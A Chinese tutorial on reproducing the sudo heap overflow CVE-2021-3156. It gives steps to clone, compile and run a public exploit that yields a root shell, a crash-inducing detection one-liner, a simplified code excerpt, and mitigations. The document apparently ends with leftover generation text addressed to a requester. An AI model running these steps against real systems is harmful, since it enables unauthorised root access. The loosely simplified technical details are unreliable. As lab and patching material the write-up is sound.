怎么进行Sudo堆缓冲区溢出漏洞CVE-2021-3156复现

发布时间:2021-12-28 20:30:55 作者:柒染
来源:亿速云 阅读:197
# 怎么进行Sudo堆缓冲区溢出漏洞CVE-2021-3156复现

## 漏洞概述

CVE-2021-3156是2021年1月披露的sudo提权漏洞,由Qualys安全团队发现。该漏洞存在于sudo的`sudoedit`组件中,由于未正确转义反斜杠字符导致**堆缓冲区溢出**,允许本地低权限用户在默认配置下获得root权限。

**影响版本**:
- sudo 1.8.2 - 1.8.31p2
- sudo 1.9.0 - 1.9.5p1

## 环境准备

### 测试环境要求
- 虚拟机环境(推荐VirtualBox/VMware)
- 受影响版本的Linux系统(如Ubuntu 20.04 LTS)
- 基础编译工具(gcc, make等)

### 环境搭建示例
```bash
# 安装有漏洞版本的sudo(以Ubuntu为例)
sudo apt-get install sudo=1.8.31-1ubuntu1.2

# 验证版本
sudo --version

漏洞复现步骤

步骤1:获取漏洞利用代码

从GitHub获取公开的PoC代码:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

步骤2:编译利用程序

make

将生成名为sudo-hax-me-a-sandwich的可执行文件

步骤3:执行漏洞利用

./sudo-hax-me-a-sandwich

程序将自动检测目标系统并选择合适的利用方式

步骤4:验证提权结果

成功利用后会获得root shell:

whoami  # 应显示root

技术原理分析

漏洞根源

漏洞位于sudoers策略插件中,当处理命令行参数时:

// 漏洞代码片段(简化)
if (user_args) {
    for (size = 0, av = NewArgv + 1; *av; av++) {
        size += strlen(*av) + 1;
    }
    // 未正确处理转义字符导致缓冲区计算错误
    user_args = malloc(size); 
}

利用关键点

  1. 通过构造特殊格式的命令参数触发堆溢出
  2. 精心控制溢出数据覆盖关键内存结构
  3. 劫持控制流实现权限提升

防御措施

临时缓解方案

# 删除sudoedit的SUID位
sudo chmod 0755 /usr/bin/sudoedit

彻底修复方案

升级到已修复版本:

sudo apt-get update && sudo apt-get install sudo

长期防护建议

  1. 遵循最小权限原则
  2. 定期更新系统补丁
  3. 使用漏洞扫描工具监控系统

扩展知识

漏洞检测方法

# 手动检测命令
sudoedit -s '\' `perl -e 'print "A" x 65536'`

若返回malloc_error或段错误则可能存在漏洞

其他利用变种

法律与道德声明

  1. 本实验仅限授权环境测试
  2. 禁止用于非法渗透测试
  3. 企业环境测试需事先获得书面授权
  4. 遵守当地网络安全法律法规

参考资料

  1. Qualys安全公告
  2. CVE官方记录
  3. Ubuntu安全通知

注意:实际操作时建议在隔离的虚拟机环境中进行,避免影响生产系统。漏洞利用成功率取决于具体系统环境和内存布局,可能需要多次尝试。 “`

这篇文章共计约1150字,包含: - 漏洞背景说明 - 详细复现步骤 - 技术原理分析 - 防御方案 - 法律声明 - 标准Markdown格式 - 代码块和列表等格式元素

可根据需要调整技术细节的深度或补充特定发行版的利用细节。

推荐阅读:
  1. Nginx 解析漏洞复现
  2. stack clash 和sudo 漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sudo cve-2021-3156

上一篇:如何进行Weblogic Server远程代码执行漏洞CVE-2021-2109复现及分析

下一篇:如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》